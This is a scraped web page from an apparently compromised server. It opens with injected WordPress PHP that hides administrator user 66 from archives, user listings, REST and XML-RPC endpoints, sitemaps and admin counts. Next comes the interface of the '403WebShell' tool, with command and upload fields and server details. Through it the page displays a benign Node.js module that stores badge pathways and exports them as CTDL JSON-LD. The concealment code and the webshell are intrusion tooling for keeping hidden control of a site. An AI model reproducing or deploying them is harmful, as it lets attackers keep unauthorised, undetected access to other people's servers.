add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/openskillpaths/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/openskillpaths/src/pathways.js
import { db, dbRead } from './db.js';
import { verifyBadgeClassProof } from './proof.js';

/**
 * Build lookup variants for an achievement ID so we can match
 * regardless of whether the DB stores a plain UUID, urn:uuid:, or a URL.
 *
 *   "urn:uuid:abc-123"                        → ["urn:uuid:abc-123", "abc-123"]
 *   "abc-123"                                 → ["abc-123", "urn:uuid:abc-123"]
 *   "https://x.badgau.net/badgeclasses/public/abc-123" → ["https://...", "abc-123", "urn:uuid:abc-123"]
 */
const UUID_RE = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/i;

function achievementIdVariants(id) {
    if (!id) return [];
    const variants = new Set([id]);

    // Extract the bare UUID from any format
    const match = id.match(UUID_RE);
    if (match) {
        const bare = match[0];
        variants.add(bare);
        variants.add(`urn:uuid:${bare}`);
    }

    return [...variants];
}

/**
 * Look up badge classes matching any variant of the given IDs.
 */
async function findBadgeClasses(ids, columns = 'uuid, name, description, image_url, issuer_name, issuer_did, issuer_url, proof') {
    const allVariants = [];
    for (const id of ids) {
        for (const v of achievementIdVariants(id)) allVariants.push(v);
    }
    if (!allVariants.length) return {};

    const { rows } = await dbRead.query(
        `SELECT ${columns} FROM badge_classes WHERE uuid = ANY($1)`,
        [[...new Set(allVariants)]]
    );

    // Index by uuid so callers can look up by any variant
    const byUuid = {};
    for (const row of rows) byUuid[row.uuid] = row;
    return byUuid;
}

/**
 * Find a badge class entry in an enrichment map, trying all variants of an ID.
 */
function findEnriched(enriched, achievementId) {
    for (const v of achievementIdVariants(achievementId)) {
        if (enriched[v]) return enriched[v];
    }
    return null;
}

/**
 * Validate and store a pathway exported from a badge album builder (e.g. Emaji).
 *
 * Requires the master badge class to exist in the registry with a valid proof.
 *
 * @param {object} payload — the JSON export from the badge album builder
 * @returns {object} — the stored pathway record
 */
export async function createPathway(payload) {
    // ─── Validate schema ─────────────────────────────────────────────────────
    const version = payload.schemaVersion ?? payload.schema_version;
    if (!version) throw validationError('Missing schemaVersion');

    const masterBadge = payload.masterBadge;
    if (!masterBadge?.achievementId) throw validationError('masterBadge.achievementId is required');
    if (!payload.title) throw validationError('title is required');

    const sections = payload.sections;
    if (!Array.isArray(sections) || !sections.length) {
        throw validationError('At least one section is required');
    }

    // ─── Verify master badge is signed and signature is valid ───────────────
    // Badge classes may be stored under any identifier format (plain UUID,
    // urn:uuid:, URL, etc.). Try all plausible variants.
    const masterVariants = achievementIdVariants(masterBadge.achievementId);
    const { rows: masterRows } = await dbRead.query(
        'SELECT * FROM badge_classes WHERE uuid = ANY($1)',
        [masterVariants]
    );

    if (!masterRows.length) {
        throw validationError(
            `Master badge "${masterBadge.achievementId}" not found in the registry. ` +
            'The badge class must be crawled before a pathway can reference it.'
        );
    }

    if (!masterRows[0].proof) {
        throw validationError(
            `Master badge "${masterBadge.achievementId}" has no cryptographic proof. ` +
            'Only signed badge classes can serve as master badges for pathways.'
        );
    }

    const verification = await verifyBadgeClassProof(masterRows[0]);
    if (!verification.valid) {
        throw validationError(
            `Master badge "${masterBadge.achievementId}" proof verification failed: ${verification.error}`
        );
    }

    // ─── Insert pathway (upsert by UUID) ────────────────────────────────────
    const pathwayUuid = payload.uuid ?? crypto.randomUUID();
    if (typeof pathwayUuid !== 'string' || pathwayUuid.length > 500) {
        throw validationError('uuid must be a string of at most 500 characters');
    }

    const { rows: [pathway] } = await db.query(`
        INSERT INTO pathways (uuid, master_achievement_id, title, description, image_url, is_sequential, status, schema_version, submitted_by)
        VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
        ON CONFLICT (uuid) DO UPDATE SET
            master_achievement_id = EXCLUDED.master_achievement_id,
            title                 = EXCLUDED.title,
            description           = EXCLUDED.description,
            image_url             = EXCLUDED.image_url,
            is_sequential         = EXCLUDED.is_sequential,
            schema_version        = EXCLUDED.schema_version,
            submitted_by          = EXCLUDED.submitted_by,
            updated_at            = NOW()
        RETURNING *
    `, [
        pathwayUuid,
        masterBadge.achievementId,
        payload.title,
        payload.description ?? null,
        masterBadge.imageUrl ?? null,
        payload.isSequential ?? false,
        'active',
        version,
        payload.submittedBy ?? payload.exportedFrom ?? null,
    ]);

    // ─── Clear existing sections on re-publish (cascade deletes slots) ──────
    await db.query('DELETE FROM pathway_sections WHERE pathway_id = $1', [pathway.id]);

    // ─── Insert sections + slots ─────────────────────────────────────────────
    const storedSections = [];

    for (const sec of sections) {
        // Skip sections with no badges
        const badges = (sec.badges ?? []).filter(b => b.achievementId);
        if (!badges.length) continue;

        const ruleType = sec.ruleType ?? 'all';
        if (!['all', 'one_of', 'n_of_m'].includes(ruleType)) {
            throw validationError(`Invalid rule_type "${ruleType}" in section "${sec.title ?? sec.position}"`);
        }

        const { rows: [section] } = await db.query(`
            INSERT INTO pathway_sections (pathway_id, title, description, position, rule_type, rule_count)
            VALUES ($1, $2, $3, $4, $5, $6)
            RETURNING *
        `, [
            pathway.id,
            sec.title ?? null,
            sec.description ?? null,
            sec.position ?? 0,
            ruleType,
            ruleType === 'n_of_m' ? (sec.ruleCount ?? null) : null,
        ]);

        const storedSlots = [];

        for (const badge of badges) {

            const issuer = badge.issuer ?? {};

            const { rows: [slot] } = await db.query(`
                INSERT INTO pathway_slots (section_id, achievement_id, title, description, image_url, position, is_optional, issuer_did, issuer_name)
                VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)
                RETURNING *
            `, [
                section.id,
                badge.achievementId,
                badge.title ?? null,
                badge.description ?? null,
                badge.imageUrl ?? null,
                badge.position ?? 0,
                badge.isOptional ?? false,
                issuer.did ?? null,
                issuer.name ?? null,
            ]);

            storedSlots.push(slot);
        }

        storedSections.push({ ...section, slots: storedSlots });
    }

    return { ...pathway, sections: storedSections };
}

/**
 * Get a single pathway by its master achievement_id (URL/URI),
 * with all sections and slots enriched with badge class data.
 */
export async function getPathway(masterAchievementId) {
    const { rows: [pathway] } = await dbRead.query(
        'SELECT * FROM pathways WHERE master_achievement_id = $1 AND status = $2 ORDER BY created_at DESC LIMIT 1',
        [masterAchievementId, 'active']
    );
    if (!pathway) return null;

    return enrichPathway(pathway);
}

/**
 * Get a single pathway by UUID.
 */
export async function getPathwayByUuid(uuid) {
    const { rows: [pathway] } = await dbRead.query(
        'SELECT * FROM pathways WHERE uuid = $1', [uuid]
    );
    if (!pathway) return null;

    return enrichPathway(pathway);
}

/**
 * Get a single pathway by numeric ID (for backwards-compat / direct linking).
 */
export async function getPathwayById(id) {
    const { rows: [pathway] } = await dbRead.query(
        'SELECT * FROM pathways WHERE id = $1', [id]
    );
    if (!pathway) return null;

    return enrichPathway(pathway);
}


/**
 * Enrich a pathway row with sections, slots, and badge class data.
 */
async function enrichPathway(pathway) {
    const { rows: sections } = await dbRead.query(
        'SELECT * FROM pathway_sections WHERE pathway_id = $1 ORDER BY position', [pathway.id]
    );

    for (const sec of sections) {
        const { rows: slots } = await dbRead.query(
            'SELECT * FROM pathway_slots WHERE section_id = $1 ORDER BY position', [sec.id]
        );

        // Enrich slots with badge class data — try all ID variants
        const achievementIds = slots.map((s) => s.achievement_id).filter(Boolean);
        const enriched = await findBadgeClasses(achievementIds);

        sec.slots = slots.map((slot) => {
            const bc = findEnriched(enriched, slot.achievement_id);
            return {
                ...slot,
                badge_class: bc ? {
                    name:        bc.name,
                    description: bc.description,
                    image_url:   bc.image_url,
                    issuer_name: bc.issuer_name,
                    issuer_did:  bc.issuer_did,
                    issuer_url:  bc.issuer_url,
                    has_proof:   !!bc.proof,
                } : null,
            };
        });
    }

    // Enrich master badge — try all ID variants
    const masterEnriched = await findBadgeClasses(
        [pathway.master_achievement_id],
        'uuid, name, description, image_url, issuer_name, issuer_did'
    );
    pathway.master_badge = findEnriched(masterEnriched, pathway.master_achievement_id) ?? null;
    pathway.sections = sections;
    return pathway;
}

/**
 * List pathways with optional filtering.
 */
export async function listPathways({ q, achievement_id, limit = 50, offset = 0 } = {}) {
    const conditions = ["status = 'active'"];
    const params = [];

    if (q) {
        params.push(`%${q}%`);
        const p = params.length;
        conditions.push(`(title ILIKE $${p} OR description ILIKE $${p})`);
    }

    if (achievement_id) {
        // Find pathways where this badge appears as master OR in any slot
        params.push(achievement_id);
        const p = params.length;
        conditions.push(`(
            master_achievement_id = $${p}
            OR id IN (
                SELECT ps.pathway_id FROM pathway_sections ps
                JOIN pathway_slots sl ON sl.section_id = ps.id
                WHERE sl.achievement_id = $${p}
            )
        )`);
    }

    const where = `WHERE ${conditions.join(' AND ')}`;

    const [countRes, rowsRes] = await Promise.all([
        dbRead.query(`SELECT COUNT(*) FROM pathways ${where}`, params),
        dbRead.query(
            `SELECT * FROM pathways ${where} ORDER BY created_at DESC LIMIT $${params.length + 1} OFFSET $${params.length + 2}`,
            [...params, limit, offset]
        ),
    ]);

    return {
        total: parseInt(countRes.rows[0].count, 10),
        data:  rowsRes.rows,
    };
}

/**
 * Find all pathways a given badge is part of (by achievement_id).
 * Returns a compact summary for embedding in badge-class responses.
 */
export async function findPathwaysForBadge(achievementId) {
    const { rows } = await dbRead.query(`
        SELECT DISTINCT
            p.id          AS pathway_id,
            p.title       AS pathway_title,
            p.master_achievement_id,
            ps.title      AS section_title,
            sl.is_optional,
            CASE WHEN p.master_achievement_id = $1 THEN 'master' ELSE 'step' END AS role
        FROM pathway_slots sl
        JOIN pathway_sections ps ON ps.id = sl.section_id
        JOIN pathways p          ON p.id  = ps.pathway_id
        WHERE sl.achievement_id = $1 AND p.status = 'active'

        UNION ALL

        SELECT
            p.id,
            p.title,
            p.master_achievement_id,
            NULL,
            false,
            'master'
        FROM pathways p
        WHERE p.master_achievement_id = $1 AND p.status = 'active'
    `, [achievementId]);

    return rows;
}

/**
 * Serialize a fully-enriched pathway (from enrichPathway) as a CTDL Pathway JSON-LD document.
 *
 * Spec references:
 *   https://purl.org/ctdl/terms/Pathway
 *   https://purl.org/ctdl/terms/CredentialComponent
 *   https://purl.org/ctdl/terms/ComponentCondition
 */
export function toCtdl(pathway, siteUrl = '') {
    const pathwayUrl = `${siteUrl}/pathways/${pathway.uuid}`;

    const CTDL_CONTEXT = {
        ceterms:  'https://purl.org/ctdl/terms/',
        logicType: 'https://purl.org/ctdl/vocabs/logicType/',
    };

    // ─── Destination component (master badge) ────────────────────────────────
    const destinationId = `_:dest-${pathway.id}`;
    const destinationComponent = {
        '@id':   destinationId,
        '@type': 'ceterms:CredentialComponent',
        ...(pathway.master_badge?.name
            ? { 'ceterms:name': { 'en': pathway.master_badge.name } }
            : {}),
        'ceterms:targetCredential': { '@id': pathway.master_achievement_id },
    };

    // ─── Section components ───────────────────────────────────────────────────
    const sectionComponents = (pathway.sections ?? []).map((sec, i) => {
        const logicType = ruleTypeToLogicType(sec.rule_type);
        const condition = {
            '@type':                   'ceterms:ComponentCondition',
            'ceterms:logicTypeType':   { '@id': `logicType:${logicType}` },
            'ceterms:targetComponent': (sec.slots ?? []).map((slot) => ({
                '@id': slot.achievement_id,
            })),
        };
        if (sec.rule_type === 'n_of_m' && sec.rule_count != null) {
            condition['ceterms:minValue'] = sec.rule_count;
        }

        return {
            '@id':   `_:section-${pathway.id}-${i}`,
            '@type': 'ceterms:CredentialComponent',
            ...(sec.title ? { 'ceterms:name': { 'en': sec.title } } : {}),
            ...(sec.description ? { 'ceterms:description': { 'en': sec.description } } : {}),
            'ceterms:hasCondition': condition,
        };
    });

    return {
        '@context': CTDL_CONTEXT,
        '@type':    'ceterms:Pathway',
        '@id':      pathwayUrl,
        'ceterms:name':        { 'en': pathway.title },
        ...(pathway.description
            ? { 'ceterms:description': { 'en': pathway.description } }
            : {}),
        'ceterms:subjectWebpage': pathwayUrl,
        'ceterms:isSequential':  pathway.is_sequential ?? false,
        'ceterms:hasDestinationComponent': { '@id': destinationId },
        'ceterms:hasChild': [destinationComponent, ...sectionComponents],
    };
}

function ruleTypeToLogicType(ruleType) {
    if (ruleType === 'one_of') return 'OR';
    if (ruleType === 'n_of_m') return 'OR';
    return 'AND'; // 'all' or default
}

function validationError(message) {
    const err = new Error(message);
    err.statusCode = 400;
    return err;
}

Youez - 2016 - github.com/yon3zu
LinuXploit